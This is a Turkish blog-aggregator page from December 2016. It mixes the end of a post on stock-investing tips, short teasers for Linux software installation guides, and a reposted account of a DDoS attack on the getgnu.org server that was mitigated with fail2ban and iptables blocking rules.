Çoğu zaman işler planlandığı gibi gitmez, alırsınız, düşer tekrar alırsınız kötü bir haber gelir endeksin tamamı göçer. Hisse bazında kötü haber gelince hiç durmamak lazım, fakat endeks bazında şok etkisi yaratan bir kötü haber gelince şok satışı fiyatları satmaya kıyamayacağınız kadar aşağı çeker. Burada bir bekleme süresi devreye girer. Sağa sola kıpırdayamazsınız, borsada da işlem hacmi düşüktür çünkü çoğu kişi sizinle aynı durumdadır. Burada elinizdeki hisse senedi A kalite bir şirkete aitse, beklemek doğrudur. Ama şirketin durumu çok iyi değilse elden çıkarıp iyi durumda fakat fiyatı şok satış nedeniyle düşen hisse senedine geçmek çok mantıklı bir hareket olacaktır. Burada banka hisselerini kısa vadeli arbitraj yapmak için kullanabilirsiniz.

ORTA VE UZUN VADELİ YATIRIM:

Son madde, bu maddeye kadar okumuşsanız sabırlı ve makul bir kişisiniz demektir. En doğru ve en geçerli yatırım orta ve uzun vadeli yatırımdır. Burada olay uzun vadede güveneceğiniz, düzenli büyüyen bir şirket veya gelecekte işinin çok daha iyi olacağını düşündüğünüz iyi bir şirkete ortak olmaktır. Düzenli olarak fiyatı artan senetleri seçmek için iki şeye bakmanızı öneririm:

  1. 5 ve 10 yıllık grafiklerindeki sürekli artan görünüm. Hisse senetlerinin grafiklerine bakarken periyot olarak 3 – 5 – 10 yıllık grafiklere bakınız. finans.mynet.com‘da hisse grafiklerinde hızlı şekilde görebilirsiniz.
  2. Yıllara göre temettü verimliliği (Bknz. Temettü nedir)

orta ve özellikle uzun vadeli yatırım yapmayı tercih ettiğinizde dikkat edilmesini önemli bulduğum bir husus var, Banka hisseleri, banka hisselerini uzun vadeli şekilde tutmak geçmiş yıllara bakıldığında pek mantıklı görünmüyor. Bunun yerine A Kalite sanayi hisselerini uzun vadeli taşımak ise hem fiyat hem de temettü verimliliği göz önüne alındığında daha mantıklı görünmekte.

VİOP Genel Yatırım İpuçları ve Basit Teknikler

Viop kısmı da başka güne kalsın…

Sonrası Borsa için Genel Yatırım İpuçları ve Basit Teknikler blog.bluzz.net | Günlüğüm ilk ortaya çıktı.

December 10, 2016

Foxit PDF Reader Kurulumu Nasıl Yapılır?

Linux ve Mac OS X desteği 15 Eylül 2015’te gelen Foxit PDF Reader, PDF dökümanlarını görüntüleyebileceğiniz ücretsiz ve hızlı bir yazılım. Foxit PDF Reader’ın Linux Sürümündeki Özellikleri: Hızlı ve hafif Sekmeli görünüm sayesinde birden fazla PDF dökümanı görüntüleme PDF dosyaları için şifreli koruma desteği Yakınlaştırma veya uzaklaştırma Sayfayı döndürme Yazı arama PDF dökümanları

Google Chrome'un İçine uGet İndirme Yöneticisi Nasıl Eklenir? (Ubuntu/Linux Mint)

Google Chrome/Chromium ve Vivaldi’nin kendi içindeki indirme yöneticisinden memnun değilseniz uGet indirme yöneticisini farenin sağ tuş menüsüne ekleyerek kullanabilirsiniz. uGet Chrome Wrapper Kurulumu Nasıl Yapılır? (Ubuntu/Linux Mint) 1- İlk önce uGet Chrome Wrapper uzantısını web tarayıcınıza kurun. 2- Aşağıdaki komutları terminalde çalıştırarak uGet Chrome Wrapper’ı

Vivaldi Nedir? Nasıl Kurulur? (DEB/RPM)

Vivaldi, kurucusunun, Opera’nın eski CEO’su Jon Stephenson von Tetzchner olduğu Vivaldi Technologies tarafından geliştirilen yeni bir web tarayıcısı. Vivaldi’nin hedef kitlesi bilgisayar konusunda bilgili kişiler. Bu yüzden diğer tarayıcılarla kıyaslandığında kendine has bazı özellikleri de içinde barındırıyor. Bu özelliklerin neler olduğunu şu adresten öğrenebilirsiniz. Kullandığınız

December 09, 2016

HPLIP Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

HP’nin yazıcıları, tarayıcıları ve hepsi bir arada cihazları için açık kaynaklı Linux çözümü sunan HPLIP, 2594 adet cihaz modelini destekliyor. Kullandığınız HP cihazınızın desteklenip desteklenmediğini buradan kontrol edebilirsiniz. Desteklenmeyen cihazların listesini şuradan görebilirsiniz. HPLIP Hangi Linux Dağıtımlarını Destekliyor? SUSE Linux (13.2, 42.1, 42.2) Fedora (22, 23, 24, 25)

Ubuntu Cleaner Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

Ubuntu Cleaner ile tarayıcının, küçük resimlerin ve uygulamaların bıraktığı artıkları, eski kernel dosyalarını ve bilgisayarınızda kullanılmayan paketleri silebileceğiniz açık kaynak kodlu bir yazılım. Uyarı: Bu tarz yazılımları kullanırken, bilgisayarınızda silinmesini istemediğiniz dosyalar varsa biraz dikkatli olmanızda fayda var. Ubuntu Cleaner Kurulumu (Ubuntu/Linux Mint) Ubuntu

Xtreme Download Manager (XDMAN) 2016 Nasıl Kurulur? (Ubuntu/Linux Mint)

Xtreme Download Manager, indirme hızını %500’e kadar arttırabilme (bağlantı hızına bağlı) özelliğine sahip güçlü bir araç. Xtreme Download Manager 2016’nın Özellikleri: Mümkün olan maksimum hızda dosya indirme (5-6 kat daha hızlı, bağlantıya bağlı olarak)  FLV, MP4, HTML5 videoları indirebilme Tarayıcı desteği (tarayıcılardan dosya indirebilme) Durdurma, duraklatma ve zamanlama

December 08, 2016

getgnu.org macerası – II

Değerli dostumuz @caylakpenguen, yine ilginç bir konuya değinmiş. İlkin getgnu.org’un taşınmasını ele alan dostumuz, bu kez, Kasım ayının sonunda karşımıza çıkan bir problemi ele almış. getgnu.org sitesini barındıran VPS sunucu üzerinde, sürekli olarak %100 civarında seyreden CPU kullanımını ve buna yönelik olarak aldığımız önlemi anlatmış. Dostumuzun yazısını buraya da almak ihtiyacı duydum. @caylakpenguen‘in yazısı şu şekilde: “getgnu.org web sunucusunda bu hafta olağan dışı bir hareket gözlemledik. Anlaşılan o ki hackerlerin hedefi, bu kez getgnu.org sunucusuydu. getgnu.org sitesini barındıran VPS sunucumuzun CPU kullanımı devamlı surette %100 sınırına ulaşıyordu.”

cpu-100-100

“Yoğun bir Ddos saldırısına maruz kaldığımızı anlamamız biraz vakit aldı. Saldırgan kendisini google bot olarak tanıttığından, biz sadece robots.txt dosyasını düzenleyip tüm botlara siteyi kapattık, durum değişmedi. Saldırgan bot olmadığı için aldığımız tedbir yeterli olmadı ve saldırılar devam etti.”

ddos-02

“Bu resimde xmlrpc.php dosyasına yapılan istekleri görüyorsunuz. Oldukça fazla istek var. (289260 istek)”

ddos-00

“Sisteme fail2ban kurduk. Ek tedbir olarak saldırgan ip adreslerini iptables ile blokladık.

iptables -A INPUT -s 163.172.141.185 -j DROP
iptables -A INPUT -s 163.172.189.230 -j DROP

getgnu.org sitesi şu an stabil şekilde görevini yapmaya devam ediyor.”

ddos-01

caylak.truvalinux.org.tr

December 07, 2016

PyCharm Nedir? Nasıl Kurulur? (Ubuntu/Linux Mint)

Python geliştirme ortamı olan PyCharm ile kod analizleri, grafiksel hata ayıklamacısı (debugger), versiyon kontrol sistemi (VCS) ile entegre ve Django ile Python web geliştirme yapabilirsiniz. PyCharm’ın Community sürümü ücretsiz, Professional sürümü ise ücretli ve gelişmiş özelliklere sahiptir. PyCharm Community Kurulumu Nasıl Yapılır? Aşağıdaki komutları sırasıyla terminalde

December 04, 2016

Hyper ile HTML/JS/CSS’i Terminalde Kullanın

Hyper, HTML/JS/CSS’i kullanabilmenizi sağlayan bir terminal emülatörüdür.  Terminal emülatörü aynı zamanda uzantıları da destekliyor. Bu size yeni özellikleri ekleyebilmenize  veya değişiklikler yapmanıza imkan tanıyor. Geliştiriciler; öncelikli hedeflerinin hız, kararlılık ve uzantı sahipleri için doğru API’nin geliştirilmesi olduğunu söylüyorlar. Hyper, şu an için sadece 64-bit